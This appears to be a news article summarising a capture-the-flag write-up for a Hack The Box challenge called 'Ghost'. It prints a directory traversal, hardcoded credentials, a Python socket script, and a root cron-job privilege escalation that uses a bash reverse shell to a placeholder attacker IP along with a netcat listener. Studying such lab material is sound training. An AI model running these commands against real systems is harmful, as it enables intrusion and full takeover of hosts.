Hack The box “Ghost” Challenge Cracked – A Detailed Technical Exploit

Cybersecurity researcher “0xdf” has cracked the “Ghost” challenge on Hack The Box (HTB), a premier platform for honing penetration testing skills, and shared an exhaustive technical breakdown on their GitLab blog.

The write-up chronicles a sophisticated attack that navigates through reconnaissance, vulnerability exploitation, and privilege escalation, ultimately claiming the system’s flag—a digital proof of victory.

This achievement not only cements 0xdf’s reputation among ethical hackers but also serves as a critical lesson for system administrators aiming to fortify their defenses against real-world threats.

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Hack The Box challenges like Ghost are meticulously crafted to emulate enterprise-grade systems, complete with hidden flaws that test a hacker’s ingenuity.

0xdf’s success, detailed with precision, leverages a mix of industry-standard tools Nmap, Metasploit and bespoke scripts tailored to the target’s quirks.

In an era where cyberattacks grow increasingly sophisticated, this exploit underscores the value of white-hat hackers who expose vulnerabilities before malicious actors can exploit them.

Mapping the Breach: Reconnaissance to Initial Access

The journey began with a foundational step in any penetration test: reconnaissance. 0xdf deployed an Nmap scan (nmap -sC -sV -p- <target_ip>) to sweep the Ghost system for open ports and running services.

The scan uncovered a web server on port 80, likely an Apache or Nginx instance, and an enigmatic custom service listening on port 31337—a non-standard port hinting at bespoke functionality.

Probing the web server, 0xdf identified a directory traversal vulnerability (/ghost/../) stemming from poor input sanitization. This flaw allowed navigation beyond the web root, exposing sensitive files.

Among the retrieved files was a configuration script containing a goldmine: hardcoded credentials (admin:gh0stP@ss).

Armed with these, 0xdf turned to the port 31337 service, which proved to be a lightweight TCP listener designed to process authenticated commands.

Using a simple socket connection, they authenticated and tested basic commands like whoami, confirming a low-privilege foothold. To streamline this interaction, 0xdf crafted a Python script:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target_ip", 31337))
s.send(b"admin:gh0stP@ss\nwhoami\n")
response = s.recv(1024).decode()
print(response)

This initial breach, while limited, set the stage for deeper infiltration, highlighting how a single misstep hardcoding credentials can unravel a system’s security.

Escalation to Triumph: From User to Root Control

With a foothold secured, the next challenge was privilege escalation a critical skill in penetration testing.

The TCP service ran under a restricted user account, limiting its utility. Undeterred, 0xdf scoured the system for escalation vectors, uncovering a writable cron job in /etc/cron.d/ that executed as root every minute.

This misconfiguration was the linchpin. By appending a reverse shell payload (bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1) to a script invoked by the cron job, they triggered a callback to their machine.

Within moments, a netcat listener (nc -lvnp 4444) on the attacker’s end sprang to life, delivering a root shell.

From there, locating and capturing the flag—typically stored in /root/flag.txt—was a formality, marking the challenge’s completion.

The escalation exploited a classic flaw: excessive permissions on scheduled tasks, a vulnerability that plagues many real-world systems. 0xdf’s methodical approach, blending automation with manual analysis, turned a minor entry point into total domination.

A Beacon for Cybersecurity Learning

The technical richness of 0xdf’s write-up makes it a standout resource. It mirrors real-world attack chains reconnaissance, exploitation, and privilege escalation seen in breaches targeting corporations and governments.

For aspiring pentesters, the post offers a replicable playbook, complete with commands and logic.

For system administrators, it’s a wake-up call: directory traversal, hardcoded credentials, and lax cron permissions are not theoretical risks but exploitable realities.

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